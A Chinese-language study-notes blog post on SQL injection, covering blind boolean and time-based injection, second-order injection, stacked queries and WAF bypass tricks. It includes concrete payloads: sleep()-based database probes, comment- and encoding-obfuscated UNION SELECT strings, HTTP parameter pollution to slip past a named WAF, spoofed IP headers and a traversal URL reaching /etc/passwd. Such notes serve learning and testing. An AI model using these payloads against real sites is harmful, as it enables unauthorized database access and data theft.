0
点赞
收藏
分享

微信扫一扫

网络安全笔记--SQL注入

zidea 2022-08-13 阅读 89

1. 概要

简要明确参数类型
数字,字符,搜索,JSON等

简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP等

其中SQL语句干扰符号:',",%,),}等

–+可以注释掉前面的引号,- -+可以用#替换,两者的效果相同。
+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释,了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
在这里插入图片描述

2. 盲注

回显注入
无回显注入
延时注入
布尔注入

sleep(5)  # 延时执行5秒
mid(a,b,c)  # 从位置b开始,截取a字符串的第c位
substr(a,b,c)  # 从位置b开始,截取a字符串的c长度
left(a,b)  # 从左侧截取a的前b位
length(database())=8  # 判断数据database()名的长度
ascii(x)=97  # 判断x的ascii码是否等于97

盲注就是在注入过程中,获取的数据不能回显至前端页面,需要利用一些方法进行判断或者尝试。
盲注可以分为以下三类:

  • 基于布尔的SQL盲注–逻辑判断

  • 基于时间的SQL盲注–延时判断

# 延时5秒显示结果
select * from users where id=1 and sleep(5);

# if用法,当sex=0时,返回‘女’,当不为0时,返回‘男’
select name,if(sex=0,'女','男') as sex from student;

# 当database名字为mysql时,延时5秒显示结果
select * from users where id=1 and sleep(if(database()='mysql',5,0))
select * from users where id=1 and if(database()='mysql',sleep(5),0)

# 当database名字长度为8时,延时5秒显示结果
select * from users where id=1 and sleep(if(length(database())=8,5,0))
  • 基于报错的SQL盲注–报错回显

3. 加解密

4. 二次注入

第一步: 插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步: 引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

在这里插入图片描述

5. 堆叠查询

堆叠查询简单说就是一堆SQL语句一起执行

在这里插入图片描述

6. WAF绕过

6.1 相关技术

注释符
在这里插入图片描述
/**/注释符

在这里插入图片描述

/*! …*/注释符

在这里插入图片描述

  1. 数据
    加密解密
    编码解码
    等价函数
    特殊符号
    反序列化
    注释符混用

  2. 方式
    更改提交方式
    变异

  3. 其它

Fuzz大法

数据库特性
垃圾数据溢出

Http参数污染

在这里插入图片描述

6.2 例子说明

# %23 --> #
# %0A --> 换行符
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=1 union%23a%0Aselect 1,2,3%23
# id=1 union #a
# select 1,2,3#
# Http参数污染 + 特殊符号 + 注释符混用
# %23 --> #
# %20 --> 空格符
# %0A --> 换行符
id=1/**&id=-1%20union%20select%201,2,3%23*/
1/**-1 union select 1,2,3#*/
# 符号/**...*/中起注释作用,正常情况下没有执行,安全狗直接不管,但是有参数污染,真实数据是:
-1 union select 1,2,3#*/

select UAccount,USex,UPassword from t_users union/**select 1,2,3*/
select UAccount,USex,UPassword from t_users union/**select 1,2,3#*/

6.3 绕过方式

IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来绕过waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

URL白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台,只要url中存在白名单的字符串,就作为白名单不进行检测。

正常白名单地址如下:
http://10.10.1.5/../../manager/../sql.php?id=1

可以通过以下方式尝试绕过防御规则:
http://10.10.1.5/.。/sql.php?a=/manager/../etc/passwd/1
举报

相关推荐

0 条评论